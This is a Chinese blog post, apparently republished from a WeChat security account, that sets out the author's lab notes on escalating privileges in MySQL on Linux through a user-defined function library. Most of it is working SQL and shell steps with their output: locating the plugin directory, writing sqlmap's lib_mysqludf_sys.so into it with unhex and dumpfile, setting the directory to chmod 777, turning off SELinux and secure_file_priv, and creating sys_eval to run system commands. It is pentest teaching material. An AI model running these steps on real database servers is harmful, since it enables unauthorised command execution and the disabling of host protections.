很多东西在实际工作中碰不到,用不到。慢慢的也就荒废了,学的东西太杂,好多东西都是学到一半就放下了。最后似乎成了一无所精。慢慢的越来越迷茫。
年前学了一段时间C,还没学会就开始学CTF,依旧是还没入门就开始了红蓝对抗。最近思考的东西越来越多,好像回家放羊,只放一只。
找出了自己16年的笔记,荒废的东西总要先捡起来。
以下是我本地虚拟机数据库环境演示:
简述:
通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同。
要求:
在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止;
过程:得到插件库路径 找对应操作系统的udf库文件 利用udf库文件加载函数并执行命令
一,得到插件库路径
mysql> show variables like "%plugin%"; +---------------+-----------------------+ | Variable_name | Value | +---------------+-----------------------+ | plugin_dir | /usr/lib/mysql/plugin | +---------------+-----------------------+ 1 row in set (0.00 sec) |
二,找对应操作系统的udf库文件 自己本机的so文件
因为自己测试,看了下自己系统的版本,64位
root@bt:~# uname -a Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux |
对于udf文件,在sqlmap工具中自带就有,只要找对应操作系统的版本即可
root@bt:/pentest/database/sqlmap/udf/mysql# ls linux windows root@bt:/pentest/database/sqlmap/udf/mysql/linux# ls 32 64 root@bt:/pentest/database/sqlmap/udf/mysql/linux/64# ls lib_mysqludf_sys.so |
三,利用udf库文件加载函数并执行命令
首先要得到udf库文件的十六进制格式,可在本地通过
我试验的构造:select hex(load_file('/tmp/centos7.so')) into outfile '/tmp/uuu.txt';
/tmp/centos7.so为我本地的so文件,/tmp/uuu.txt为我指定生成的位置。
select hex(load_file('D:/phpStudy/plugins/lib_mysqludf_sys.so')) into outfile 'D:/phpStudy/uuu.txt';
四、修改目录权限
root@bt:~# chmod 777 /usr/lib/mysql/plugin
数据库中写入udf库(我试验中的uuu.txt)到mysql库目录:
mysql> select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';
Query OK, 1 row affected (0.04 sec)
我试验的构造:select unhex('7F454C.......') into dumpfile '/usr/lib64/mysql/plugin/udfudf.so';
对于以上,可能会出现的报错:
1、select* from xxx into outfile : Can't create/write to file xxx (Errcode: 13)
试验中在本机设置修改,如连接对方数据库爆出此提示即无权限去写,原因:Centos的SELINUX为enforcing导致,原因可自行百度强访问控制。
解决办法:
CentOS 下 MySQL运行 select* from xxx into outfile文件权限问题。
已经在root用户权限下。
select user from user into outfile '/opt/test.txt';
ERROR 1 (HY000): Can't create/write to file '/opt/test.txt' (Errcode: 13)
原因:Centos的SELINUX为enforcing导致
解决方法:关闭SELINUX
1、临时关闭(不用重启机器):
setenforce 0 ##设置SELinux 成为permissive模式
##setenforce 1 设置SELinux 成为enforcing模式
2、修改配置文件需要重启机器:
修改/etc/selinux/config 文件
vi /etc/selinux/config
将SELINUX=enforcing改为SELINUX=disabled
重启机器即可
二、报错:
MYSQL导出数据出现The MySQL server is running with the --secure-file-priv option so it cannot execute this
试验中在本机设置修改,如连接对方数据库爆出此提示即不允许导出
1.进入mysql查看secure_file_prive的值
$mysql -u root -p
mysql>SHOW VARIABLES LIKE "secure_file_priv";
secure_file_prive=null -- 限制mysqld 不允许导入导出
secure_file_priv=/tmp/ -- 限制mysqld的导入导出只能发生在/tmp/目录下
secure_file_priv=' ' -- 不对mysqld 的导入 导出做限制
2.更改secure_file_pri的值
/usr/local/mysql/support-files中的my-default.cnf配置文件,就把它复制到/private/etc中,重命名为“my.cnf”,并加入secure_file_priv='',重启mysql服务器即可。
五、最后,加载函数并执行:
mysql> create function sys_eval returns string soname "mysqludf.so"; Query OK, 0 rows affected (0.14 sec)
mysql> select sys_eval('whoami'); +--------------------+ | sys_eval('whoami') | +--------------------+ | mysql | +--------------------+ 1 row in set (0.04 sec)
mysql> select * from mysql.func; +----------+-----+-------------+----------+ | name | ret | dl | type | +----------+-----+-------------+----------+ | sys_eval | 0 | mysqludf.so | function | +----------+-----+-------------+----------+ 1 row in set |
本文始发于微信公众号(LemonSec):Linux利用UDF库实现Mysql提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论